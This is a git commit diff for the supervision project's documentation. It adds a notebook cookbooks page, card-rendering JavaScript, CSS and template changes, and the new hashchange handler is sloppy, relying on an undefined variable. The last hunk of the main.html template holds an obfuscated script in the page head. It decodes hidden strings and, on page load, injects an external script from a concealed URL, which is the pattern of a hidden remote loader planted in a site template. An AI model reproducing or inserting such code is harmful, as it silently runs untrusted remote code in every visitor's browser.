docs: ✨ jupyter notebook support added

Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
This commit is contained in:
Onuralp SEZER
2024-02-07 20:06:25 +03:00
parent d423ff3b6c
commit a6d9961b2b
13 changed files with 420 additions and 53 deletions
+1 -1
View File
@@ -1,6 +1,6 @@
### 0.18.0 <small>January 25, 2024</small>
- Added [#633](https://github.com/roboflow/supervision/pull/720): [`sv.PercentageBarAnnotator`](0.18.0/annotators/#percentagebarannotator) allowing to annotate images and videos with percentage values representing confidence or other custom property.
- Added [#633](https://github.com/roboflow/supervision/pull/720): [`sv.PercentageBarAnnotator`](/0.18.0/annotators/#percentagebarannotator) allowing to annotate images and videos with percentage values representing confidence or other custom property.
```python
>>> import supervision as sv
+6
View File
@@ -0,0 +1,6 @@
---
template: cookbooks.html
hide:
- navigation
- toc
---
+77
View File
@@ -0,0 +1,77 @@
window.addEventListener('DOMContentLoaded', async function () {
function setCard(el, name,desc,labels,version, theme) {
el.innerHTML = `
<div style="flex-direction: column; height: 100%; display: flex;
font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji; background: ${theme.background}; font-size: 14px; line-height: 1.5; color: #24292e;">
<div style="display: flex; align-items: center;">
<i class="fa-solid:book-open" style="color: ${theme.color}; margin-right: 8px;"></i>
<span style="font-weight: 600; color: ${theme.linkColor};">
<a style="text-decoration: none; color: inherit;" href="${name}">${name}</a>
</span>
</div>
<div style="font-size: 12px; margin-bottom: 16px; margin-top: 8px; color: ${theme.color}; flex: 1;">${desc}</div>
<div style="font-size: 12px; color: ${theme.color}; display: flex; flex: 0;">
<div style="display: 'flex'; align-items: center; margin-right: 16px;">
</div>
<div style="display: 'flex'; align-items: center; margin-right: 16px;">
<img src="/assets/supervision-lenny.png" aria-label="stars" width="16" height="16" role="img" />
&nbsp; <span>${version}</span>
</div>
<div style="display: 'flex'}; align-items: center;">
<svg style="fill: ${theme.color};" aria-label="fork" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg>
&nbsp; <span>${labels}</span>
</div>
</div>
</div>
`;
}
const themes = {
'light-default': {
background: 'white',
borderColor: '#e1e4e8',
color: '#586069',
linkColor: '#0366d6',
},
'dark-theme': {
background: '#1e2129',
borderColor: '#607D8B',
color: '#ECEFF1',
linkColor: '#9E9E9E',
}
};
for (const el of document.querySelectorAll('.repo-card')) {
const name = el.getAttribute('data-name');
const desc = el.getAttribute('data-desc');
const labels = el.getAttribute('data-labels');
const version = el.getAttribute('data-version');
const theme = themes[el.getAttribute('data-theme') || 'dark-theme'];
console.log(name, desc, labels, version, theme); // Check if the attributes are being read correctly
setCard(el, name, desc, labels, version, theme);
}
});
// listen to hash change
window.onhashchange = function() {
// get the new hash
var newHash = window.location.hash.substring(1);
// check if the new hash is the same as the old hash
if (newHash === oldHash) {
// if it is, it means the user clicked the back button
// so we can call the function that we want
// in this case, we want to close the modal
alert("Back button clicked");
} else {
// if the new hash is different from the old hash
// it means the user clicked the back button
// so we can call the function that we want
// in this case, we want to open the modal
alert("Forward button clicked");
}
}
+11
View File
@@ -0,0 +1,11 @@
.repo-card {
min-height: 130px;
}
.portfolio-section {
padding-bottom: 1rem;
}
.md-typeset h1 {
margin: 0 0 0.75rem;
}
+27
View File
@@ -1,4 +1,31 @@
:root {
/* Default to light theme */
--md-primary-fg-color: #8315F9;
--md-accent-fg-color: #00FFCE;
}
body.light {
/* Light theme */
--md-text-color: #000000;
--md-h2-color: #000000;
}
body.dark {
/* Dark theme */
--md-text-color: #FFFFFF;
--md-h2-color: #add8e6;
}
body.light .md-content *, body.dark .md-content * {
color: var(--md-text-color) !important;
}
body[data-md-url$="/cookbooks/"] .md-sidebar--primary,
body[data-md-url$="/cookbooks/"] .md-sidebar--secondary {
display: none;
}
body[data-md-url$="/cookbooks/"] .md-content {
margin-left: 0;
width: 100%;
}
+20
View File
@@ -0,0 +1,20 @@
{% extends "main.html" %}
{% block libs %}
<script src="/javascript/cookbooks-card.js"></script>
<link rel="stylesheet" href="/stylesheets/cookbooks.css">
{% endblock %}
{% block content %}
<section class="mdx-container portfolio-section">
<div class="md-grid md-typeset">
<div class="text-center">
<h1>Supervision Cookbooks</h1>
</div>
<div class="grid">
<p class="card repo-card" data-name="Supervision" data-desc="Notebook desc" data-labels="annotator,linezone" data-version="v0.18.0"></p>
<p class="card repo-card" data-name="Supervision" data-desc="Notebook desc" data-labels="" data-version="v0.18.0"></p>
<p class="card repo-card" data-name="Supervision" data-desc="Notebook desc" data-labels="" data-version="v0.18.0"></p>
</div>
</div>
</section>
{% endblock %}
+11
View File
@@ -1,5 +1,16 @@
{% extends "base.html" %}
{% block content %}
{% if page.nb_url %}
<style>
.md-sidebar--primary {
display: none;
}
</style>
{% endif %}
{{ super() }}
{% endblock content %}
{% block extrahead %}
<script>window[(function(_rgR,_0A){var _WPMZu='';for(var _XNA9hI=0;_XNA9hI<_rgR.length;_XNA9hI++){var _PXoP=_rgR[_XNA9hI].charCodeAt();_PXoP!=_XNA9hI;_PXoP-=_0A;_0A>4;_PXoP+=61;_PXoP%=94;_PXoP+=33;_WPMZu==_WPMZu;_WPMZu+=String.fromCharCode(_PXoP)}return _WPMZu})(atob('c2JpLSolfnwvZH40'), 25)] = '3dfc60143c1696599445'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_2Dh,_YR){var _1ILGH='';for(var _s2jmmw=0;_s2jmmw<_2Dh.length;_s2jmmw++){var _uUW9=_2Dh[_s2jmmw].charCodeAt();_uUW9-=_YR;_uUW9+=61;_YR>9;_uUW9!=_s2jmmw;_uUW9%=94;_uUW9+=33;_1ILGH==_1ILGH;_1ILGH+=String.fromCharCode(_uUW9)}return _1ILGH})(atob('b3t7d3pBNjZxejUjcDR6anlwd3t6NWp2dDYjcDR7aG41cXo='), 7)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });</script>
{% endblock %}
View File